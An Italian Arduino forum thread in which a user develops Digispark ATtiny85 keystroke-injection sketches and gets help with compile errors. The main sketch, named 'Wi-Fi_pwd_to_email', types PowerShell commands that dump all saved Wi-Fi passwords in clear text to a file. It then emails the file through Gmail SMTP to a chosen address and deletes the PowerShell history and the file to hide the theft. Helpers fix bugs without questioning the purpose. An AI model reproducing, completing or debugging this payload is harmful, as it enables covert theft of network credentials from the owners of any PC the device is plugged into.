Attiny85 Download

Salve a tutti sto cercando il modo di far scaricare al mio attiny un file da un sito per poi farlo caricare in una determinata cartella. avete qualche codice di esempio?

Buonasera,
essendo il tuo primo post, nel rispetto del regolamento della sezione Italiana del forum (… punto 13, primo capoverso), ti chiedo cortesemente di presentarti IN QUESTO THREAD (spiegando bene quali conoscenze hai di elettronica e di programmazione ... possibilmente evitando di scrivere solo una riga di saluto) e di leggere con molta attenzione tutto il su citato REGOLAMENTO ... Grazie. :slight_smile:

Guglielmo

P.S.: Ti ricordo che, purtroppo, fino a quando non sarà fatta la presentazione nell’apposito thread, nessuno ti potrà rispondere, quindi ti consiglio di farla al più presto. :wink:
P.P.S.: E spiega anche meglio il tuo problema perché NON si capisce che configurazione hai (hardware), cosa vuoi fare e come lo vuoi fare.

Scusami non lo sapevo adesso vado a presentarmi.

Come ti hanno detto, spiega bene che hardware hai. Per scaricare da un sito serve essere connessi a internet. Come fai con un attiny ?

wan Internet;
filesystem HardDisk = my.disk.linkpoint;
string fileURL;
string HardDiskFolder;
connect Internet;
delay(100);
connect HardDisk;
delay(100);
download (fileURL, HardDiskFolder);

make coffee(espresso);

Scherzavo

Da come lo hai chiesto, sembra che tu voglia collegare l'attiny alla rete, scaricare un file e scriverlo su un hard disk. Forse vuoi invece scaricare un codice dalla rete mediante il tuo computer e poi caricarlo sull'attiny. Spiegalo meglio e ti diremo come fare.

Ho trovato il codice che cercavo ve lo giro per conoscenza.

#include "KeyboardIT.h"
void setup() {
}
void loop() {
  DigiKeyboard.sendKeyStroke(0);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("$client = new-object System.Net.WebClient");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  //Download immagine
  DigiKeyboard.print("$client.DownloadFile(\"https://1.bp.blogspot.com/-Gb4Ku1gaFao/XZ-PbzlCj3I/AAAAAAAAEc0/3uSk9g8fBvY3qKmdHf0OZg6FhfmV7xoEACLcBGAsYHQ/s1600/Wallpaper_Wile.jpg\" , \"Wile.jpg\")");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  //sostituzione Wallpaper
  DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\Wile.jpg\" /f"); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }

... un codice buttalo li così che NON ci dice nulla!

Come ti ho già chiesto ... spiegaci esattamente la tua configurazione hardware, cosa vuoi fare e come vuoi farlo.

Guglielmo

Io devo usare un digispark attiny85, questo dispositivo funziona come se fosse una tastiera, quindi con l'aiuto di alcuni comandi inserendo questo chip nella porta USB il PC farà tutto quello che gli ho preordinato mediante una serie di comandi che verranno lanciati dalla tastiera. il comando DigiKeyboard emula la pressione dei tasti della tastiera, il problema che avevo io è che non trovavo il codice di esempio che vi ho postato adesso l'ho trovato e ci lavoro sopra in modo da fagli fare quello che mi serve a me.

... ecco, ora si capisce quello che vuoi fare, vuoi usare il chip in emulazione tastiera per eseguire dei comandi.

Guglielmo

Salve adesso che ho perfezionato il mio programma vorrei che verrebbe eseguito solo quando premo un pulsante, come posso fare?

#include "KeyboardIT.h"
#define WIFI
#define LED 1                          // LED collegato al pin digitale 1
#define BUTTON 0                       //pin di ingresso dove è collegato il pulsante

void setup() {
pinMode(LED, OUTPUT);                    //Inizializziamo il pin 1 come una uscita
pinMode(BUTTON, INPUT);                     //Inizializziamo il pin 0 come una ingresso
}

void loop() {
  if(digitalRead(BUTTON)==HIGH){
  delay(200);
  WIFI();
  }
  }

  void WIFI(){
  digitalWrite(LED, HIGH);              //Accendi Led per indicare inizio programma
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)

Ho provato a fare in questo modo ma mi da questo errore:

WIFI();
Digispark_Wi-Fi_pwd_to_email:18:13: error: expected unqualified-id before ')' token
void WIFI(){
expected primary-expression before ')' token | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)}  | Out-File wifi.txt; exit"));
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
 DigiKeyboard.delay(3000);
 DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
 DigiKeyboard.delay(500);
 DigiKeyboard.sendKeyStroke(KEY_A);
 DigiKeyboard.delay(500);
 DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
 DigiKeyboard.delay(500);
 DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE'; $ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)'; $ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt'); $SMTPInfo.Send($ReportEmail); exit"));
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
 DigiKeyboard.delay(500);
 DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
 DigiKeyboard.delay(500);
 DigiKeyboard.sendKeyStroke(KEY_A);
 DigiKeyboard.delay(500);
 DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
 DigiKeyboard.delay(500);
 DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
 DigiKeyboard.delay(500);
 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
 DigiKeyboard.delay(500);
 DigiKeyboard.print("cmd");
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
 DigiKeyboard.delay(500);
 DigiKeyboard.print(F("del wifi.txt"));
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
 DigiKeyboard.delay(100);
 DigiKeyboard.print(F("exit"));
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
 for(;;){ /empty/ }
 digitalWrite(LED, LOW);                //Spegni Led per indicare fine del programma
}


Ho provato a fare in questo modo ma mi da questo errore:

WIFI();
Digispark_Wi-Fi_pwd_to_email:18:13: error: expected unqualified-id before ')' token
void WIFI(){
expected primary-expression before ')' token

Hai fatto una define all'inizio con medesimo nome della funzione, quando compili WIFI viene sostituito con il valore della define (nel tuo caso nulla) e da li l'errore, il tuo codice viene fuori tipo così:

delay(200);
();
#include "KeyboardIT.h"
#define LED 1                          // LED collegato al pin digitale 1
#define BUTTON 0                       //pin di ingresso dove è collegato il pulsante

void setup() {
pinMode(LED, OUTPUT);                    //Inizializziamo il pin 1 come una uscita
pinMode(BUTTON, INPUT);                     //Inizializziamo il pin 0 come una ingresso
}

void loop() {
  if(digitalRead(BUTTON)==HIGH){
  delay(200);
  }
  }

  void WIFI(){
  digitalWrite(LED, HIGH);              //Accendi Led per indicare inizio programma
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)

Adesso nella verifica non da problemi, come arriva il mio digispark lo provo | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)}  | Out-File wifi.txt; exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE'; $ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)'; $ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt'); $SMTPInfo.Send($ReportEmail); exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del wifi.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /empty/ }
  digitalWrite(LED, LOW);                //Spegni Led per indicare fine del programma
}


Adesso nella verifica non da problemi, come arriva il mio digispark lo provo

Visto che il loop si limita a leggere il bottone e se il suo stato è HIGH aspettare 200 ms posso dirti anche senza l’hw che non funzionerà, dentro l’if devi richiamare la tua funzione, inoltre dentro questa spegni il led dopo un for infinito, non si spegnerà mai

Neanche in questo modo?

#include "KeyboardIT.h"
#define LED 1                          // LED collegato al pin digitale 1
#define BUTTON 2                       //pin di ingresso dove è collegato il pulsante

void setup() {
pinMode(LED, OUTPUT);                    //Inizializziamo il pin 1 come una uscita
pinMode(BUTTON, INPUT);                     //Inizializziamo il pin 0 come una ingresso
}

void loop() {
  if(digitalRead(BUTTON)==HIGH){
  digitalWrite(LED, HIGH);              //Accendi Led per indicare inizio programma
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)

| %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)}  | Out-File wifi.txt; exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE'; $ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)'; $ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt'); $SMTPInfo.Send($ReportEmail); exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del wifi.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /empty/ }
  digitalWrite(LED, LOW);                //Spegni Led per indicare fine del programma
}
}

No, stai arrancando invece di studiare e capire, il problema non era che avevi messo il codice in una funzione, ma che non la richiamavi mai.
L'altro problema anche se sposti il codice non cambia di una virgola, se spegni il led dopo un for infinito in quel punto non ci arriverai mai e il led non si spegnerà

hai ragione ho visto come posso risolvere questo problema? Premetto che il pulsante l’ho dovuto togliere perchè era troppo ingombrante, poi ho notato che non parte subito il programma quindi non è necessario il pulsante. Quindi per avere lo spegnimento del led come posso modificare il programma?

Ti ho fornito tutte le indicazioni per individuare e risolvere in autonomia, è talmente banale che non serve neppure saper programmare o conoscere il linguaggio basta seguire lo spunto che ti ho fornito nel post precedente e usare un filo di logica, mi spiace ma su questo punto non ti aiuterò oltre

Be ho capito basta che tolgo il void loop(), ma al suo posto cosa gli do?

:o mai parlato di loop, comunque ad esempio potresti pensare a qualcosa tipo questo